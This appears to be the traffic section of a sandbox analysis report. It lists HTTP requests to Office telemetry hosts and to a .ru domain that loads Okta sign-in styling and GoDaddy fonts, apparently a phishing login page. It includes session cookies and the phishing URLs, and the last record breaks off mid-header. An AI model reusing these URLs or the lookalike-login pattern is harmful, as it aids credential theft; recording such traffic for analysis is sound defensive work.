Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajtl2.clriwhkc.ru/o6N2/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjVGMGVrWTd5VE5RaUdCTzgrMktKSlE9PSIsInZhbHVlIjoiaWxNUHFZU0xXMHRERkhtTStrZHlLMU5kL29hTWpYa012TkcwdzJDVVNLYVNlVEdHc3RSN29xdm1jMjdYZ0JKSjl6S05zZUNFeXJSdVBnaXU4STVUR1JwVmNPOUJxd1pQcVIwV1ljUUp5SGlWRzgyQUw2eFlHSENlcXFkaldSNWEiLCJtYWMiOiI4MjQ5ZDE4Njg1YWYzYmNlZmYzMzk5NjI0YTM2NjM4YzUyMzAzNDBjOGRiYjAyNTIzMDUxZGM1Y2NjMGUzYzAwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdJU0JFZ1p0SGtidmx0TVNsTXVGVnc9PSIsInZhbHVlIjoiNjBGNGt5cWM0a2djVElQY3hUL1hnOGJSTVFOcnJubGY3TWd6dmluUUIxbGpIRHM2cUhZY3pydlpYYklHU2xrRUZ0Y3F1eTk2bW9QdjZjOS9IcUllLzZHcDBpWVovdFZjcXBGYWJsTE0zYmh2QjdibUFHQ1VHa0dkZ1Bhc2NKYmwiLCJtYWMiOiI4NTRkNWM2NjE5Y2I5ODcwN2ExNjczOTFjYzc2N2YwODAzNTI2NmY1NjNlM2RlZjVmYjQ3YmUzNzc3MmUxYjUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /zc2MmkIX8hH0W98GR8FOqwqJgS2GritNi0I4Fgy HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IitaZlZucG1aYWcvNTIwcTJzYVRxdHc9PSIsInZhbHVlIjoiTW5XT293eDJ4SHBpUTBXOGJucjhJc1RlTjRTLzAzRzhmeWtrZUlFUkhDZHp5OHhBdEwxMllRaVRWMGNxNG0zTUdlZ3dWSGxkVGtvT1p4c3hnUmJEU25pek9VZTUxcUl5cTVIakgvWDRhRG1XZEVGakxkV09kZW5UcmJ0aFQ2U3YiLCJtYWMiOiI0MmU1ZGQyNDY0YzlkZDA3ZjYzYzM4ZDA2NGVhYTIwOGIyZGZiZTU4ZTk1NzI2ODdjMjJiYmQyMjkzNjE4NDQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlM0aFVuK0owMGZrdnExclR1MGNjdHc9PSIsInZhbHVlIjoiZzhROTlrNnUvQ1RlcGVDUktGeVpnaDZuSVFBWWFoMldrNUc3d1lNcVdBeFFlN3V2Q01hV2R1cWI5ZmxZcjNYT3FqUnZGQU9uVGJZOEpZOC9RRGJWcE4wbk5oMDU4emJuM01UZzBYNGRUM1BDK0J0R0FZVHo3bmNBeDRxUEIwK1MiLCJtYWMiOiI4OTUzNWRjNTM3NGUwNjNiYzJmZTJkODI3MDg3YzZhYzBmZjM4ZDc5YjBkMWI5YTNkZmM5NzEyODNjNTNlNzk0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWN HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://ajtl2.clriwhkc.ru/o6N2/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IitaZlZucG1aYWcvNTIwcTJzYVRxdHc9PSIsInZhbHVlIjoiTW5XT293eDJ4SHBpUTBXOGJucjhJc1RlTjRTLzAzRzhmeWtrZUlFUkhDZHp5OHhBdEwxMllRaVRWMGNxNG0zTUdlZ3dWSGxkVGtvT1p4c3hnUmJEU25pek9VZTUxcUl5cTVIakgvWDRhRG1XZEVGakxkV09kZW5UcmJ0aFQ2U3YiLCJtYWMiOiI0MmU1ZGQyNDY0YzlkZDA3ZjYzYzM4ZDA2NGVhYTIwOGIyZGZiZTU4ZTk1NzI2ODdjMjJiYmQyMjkzNjE4NDQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlM0aFVuK0owMGZrdnExclR1MGNjdHc9PSIsInZhbHVlIjoiZzhROTlrNnUvQ1RlcGVDUktGeVpnaDZuSVFBWWFoMldrNUc3d1lNcVdBeFFlN3V2Q01hV2R1cWI5ZmxZcjNYT3FqUnZGQU9uVGJZOEpZOC9RRGJWcE4wbk5oMDU4emJuM01UZzBYNGRUM1BDK0J0R0FZVHo3bmNBeDRxUEIwK1MiLCJtYWMiOiI4OTUzNWRjNTM3NGUwNjNiYzJmZTJkODI3MDg3YzZhYzBmZjM4ZDc5YjBkMWI5YTNkZmM5NzEyODNjNTNlNzk0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /56Kf0C8w1pUhcdIxc06718 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjIwNUhxbGgyZ040THo3UFJmZFBDN3c9PSIsInZhbHVlIjoiSmM4VzNxMmZORU1qMUZoMVVjSmQ1OGRuejlUNENpcGkvSzMzQnhlL2UwMXFSbUJSbXZGbExtQTRHd2hKTEdtNlgvNlBPNW5ZUG1ZY09SSm45RmdiSHhHSVdnMFBDbUFvcS9tSFBjUCtXR3N1QzBvWW1oOFJsaWtMdjJUeitNTU0iLCJtYWMiOiJiZjY2MzdiNWRiYTJlZmZlNTI1MGQwZWJiOGM4MjFkMDhiZTViMTIyYWRiMDA1ODEwYWI4YmU4YjViNTFiOGU4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii9wRUpGZjYzVnVNVW5JYjlQSEFISlE9PSIsInZhbHVlIjoiZUp3eExvV0duRjVNNVEyclp3UmoydFVBYXFqdmQ5L2JHeEptejNUeTdyWVQwQSt6UWF2L0VBSHB3QTgyUzhTZCtUK3VlMGdyTVJxc050a0ZTMk4yK1VPcFlVQmRYWDNLS0wxV3hEVXdhZXdka2RGdUxlNEZYdTRvaG1FbGs3RTUiLCJtYWMiOiI3NTAxZDJhYjYyMDI4MmI4OTAyMWJkMGU5ODg4MzhiNzE3ZWY3MzhjNjdkOWY1NDM3N2E4MDliMTVjYzYwNjkyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xycttp6djrs9jTncd25 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjIwNUhxbGgyZ040THo3UFJmZFBDN3c9PSIsInZhbHVlIjoiSmM4VzNxMmZORU1qMUZoMVVjSmQ1OGRuejlUNENpcGkvSzMzQnhlL2UwMXFSbUJSbXZGbExtQTRHd2hKTEdtNlgvNlBPNW5ZUG1ZY09SSm45RmdiSHhHSVdnMFBDbUFvcS9tSFBjUCtXR3N1QzBvWW1oOFJsaWtMdjJUeitNTU0iLCJtYWMiOiJiZjY2MzdiNWRiYTJlZmZlNTI1MGQwZWJiOGM4MjFkMDhiZTViMTIyYWRiMDA1ODEwYWI4YmU4YjViNTFiOGU4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii9wRUpGZjYzVnVNVW5JYjlQSEFISlE9PSIsInZhbHVlIjoiZUp3eExvV0duRjVNNVEyclp3UmoydFVBYXFqdmQ5L2JHeEptejNUeTdyWVQwQSt6UWF2L0VBSHB3QTgyUzhTZCtUK3VlMGdyTVJxc050a0ZTMk4yK1VPcFlVQmRYWDNLS0wxV3hEVXdhZXdka2RGdUxlNEZYdTRvaG1FbGs3RTUiLCJtYWMiOiI3NTAxZDJhYjYyMDI4MmI4OTAyMWJkMGU5ODg4MzhiNzE3ZWY3MzhjNjdkOWY1NDM3N2E4MDliMTVjYzYwNjkyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveOrigin: https://ajtl2.clriwhkc.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjIwNUhxbGgyZ040THo3UFJmZFBDN3c9PSIsInZhbHVlIjoiSmM4VzNxMmZORU1qMUZoMVVjSmQ1OGRuejlUNENpcGkvSzMzQnhlL2UwMXFSbUJSbXZGbExtQTRHd2hKTEdtNlgvNlBPNW5ZUG1ZY09SSm45RmdiSHhHSVdnMFBDbUFvcS9tSFBjUCtXR3N1QzBvWW1oOFJsaWtMdjJUeitNTU0iLCJtYWMiOiJiZjY2MzdiNWRiYTJlZmZlNTI1MGQwZWJiOGM4MjFkMDhiZTViMTIyYWRiMDA1ODEwYWI4YmU4YjViNTFiOGU4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii9wRUpGZjYzVnVNVW5JYjlQSEFISlE9PSIsInZhbHVlIjoiZUp3eExvV0duRjVNNVEyclp3UmoydFVBYXFqdmQ5L2JHeEptejNUeTdyWVQwQSt6UWF2L0VBSHB3QTgyUzhTZCtUK3VlMGdyTVJxc050a0ZTMk4yK1VPcFlVQmRYWDNLS0wxV3hEVXdhZXdka2RGdUxlNEZYdTRvaG1FbGs3RTUiLCJtYWMiOiI3NTAxZDJhYjYyMDI4MmI4OTAyMWJkMGU5ODg4MzhiNzE3ZWY3MzhjNjdkOWY1NDM3N2E4MDliMTVjYzYwNjkyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveOrigin: https://ajtl2.clriwhkc.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjIwNUhxbGgyZ040THo3UFJmZFBDN3c9PSIsInZhbHVlIjoiSmM4VzNxMmZORU1qMUZoMVVjSmQ1OGRuejlUNENpcGkvSzMzQnhlL2UwMXFSbUJSbXZGbExtQTRHd2hKTEdtNlgvNlBPNW5ZUG1ZY09SSm45RmdiSHhHSVdnMFBDbUFvcS9tSFBjUCtXR3N1QzBvWW1oOFJsaWtMdjJUeitNTU0iLCJtYWMiOiJiZjY2MzdiNWRiYTJlZmZlNTI1MGQwZWJiOGM4MjFkMDhiZTViMTIyYWRiMDA1ODEwYWI4YmU4YjViNTFiOGU4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii9wRUpGZjYzVnVNVW5JYjlQSEFISlE9PSIsInZhbHVlIjoiZUp3eExvV0duRjVNNVEyclp3UmoydFVBYXFqdmQ5L2JHeEptejNUeTdyWVQwQSt6UWF2L0VBSHB3QTgyUzhTZCtUK3VlMGdyTVJxc050a0ZTMk4yK1VPcFlVQmRYWDNLS0wxV3hEVXdhZXdka2RGdUxlNEZYdTRvaG1FbGs3RTUiLCJtYWMiOiI3NTAxZDJhYjYyMDI4MmI4OTAyMWJkMGU5ODg4MzhiNzE3ZWY3MzhjNjdkOWY1NDM3N2E4MDliMTVjYzYwNjkyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveOrigin: https://ajtl2.clriwhkc.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjIwNUhxbGgyZ040THo3UFJmZFBDN3c9PSIsInZhbHVlIjoiSmM4VzNxMmZORU1qMUZoMVVjSmQ1OGRuejlUNENpcGkvSzMzQnhlL2UwMXFSbUJSbXZGbExtQTRHd2hKTEdtNlgvNlBPNW5ZUG1ZY09SSm45RmdiSHhHSVdnMFBDbUFvcS9tSFBjUCtXR3N1QzBvWW1oOFJsaWtMdjJUeitNTU0iLCJtYWMiOiJiZjY2MzdiNWRiYTJlZmZlNTI1MGQwZWJiOGM4MjFkMDhiZTViMTIyYWRiMDA1ODEwYWI4YmU4YjViNTFiOGU4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii9wRUpGZjYzVnVNVW5JYjlQSEFISlE9PSIsInZhbHVlIjoiZUp3eExvV0duRjVNNVEyclp3UmoydFVBYXFqdmQ5L2JHeEptejNUeTdyWVQwQSt6UWF2L0VBSHB3QTgyUzhTZCtUK3VlMGdyTVJxc050a0ZTMk4yK1VPcFlVQmRYWDNLS0wxV3hEVXdhZXdka2RGdUxlNEZYdTRvaG1FbGs3RTUiLCJtYWMiOiI3NTAxZDJhYjYyMDI4MmI4OTAyMWJkMGU5ODg4MzhiNzE3ZWY3MzhjNjdkOWY1NDM3N2E4MDliMTVjYzYwNjkyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveOrigin: https://ajtl2.clriwhkc.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjIwNUhxbGgyZ040THo3UFJmZFBDN3c9PSIsInZhbHVlIjoiSmM4VzNxMmZORU1qMUZoMVVjSmQ1OGRuejlUNENpcGkvSzMzQnhlL2UwMXFSbUJSbXZGbExtQTRHd2hKTEdtNlgvNlBPNW5ZUG1ZY09SSm45RmdiSHhHSVdnMFBDbUFvcS9tSFBjUCtXR3N1QzBvWW1oOFJsaWtMdjJUeitNTU0iLCJtYWMiOiJiZjY2MzdiNWRiYTJlZmZlNTI1MGQwZWJiOGM4MjFkMDhiZTViMTIyYWRiMDA1ODEwYWI4YmU4YjViNTFiOGU4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii9wRUpGZjYzVnVNVW5JYjlQSEFISlE9PSIsInZhbHVlIjoiZUp3eExvV0duRjVNNVEyclp3UmoydFVBYXFqdmQ5L2JHeEptejNUeTdyWVQwQSt6UWF2L0VBSHB3QTgyUzhTZCtUK3VlMGdyTVJxc050a0ZTMk4yK1VPcFlVQmRYWDNLS0wxV3hEVXdhZXdka2RGdUxlNEZYdTRvaG1FbGs3RTUiLCJtYWMiOiI3NTAxZDJhYjYyMDI4MmI4OTAyMWJkMGU5ODg4MzhiNzE3ZWY3MzhjNjdkOWY1NDM3N2E4MDliMTVjYzYwNjkyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ajtl2.clriwhkc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ajtl2.clriwhkc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ajtl2.clriwhkc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ajtl2.clriwhkc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250326%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250326T173549Z&X-Amz-Expires=300&X-Amz-Signature=c989826f2facc24fe0c9962fb2acf47b71a440127cf1bf74c93ae8387903a43d&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: 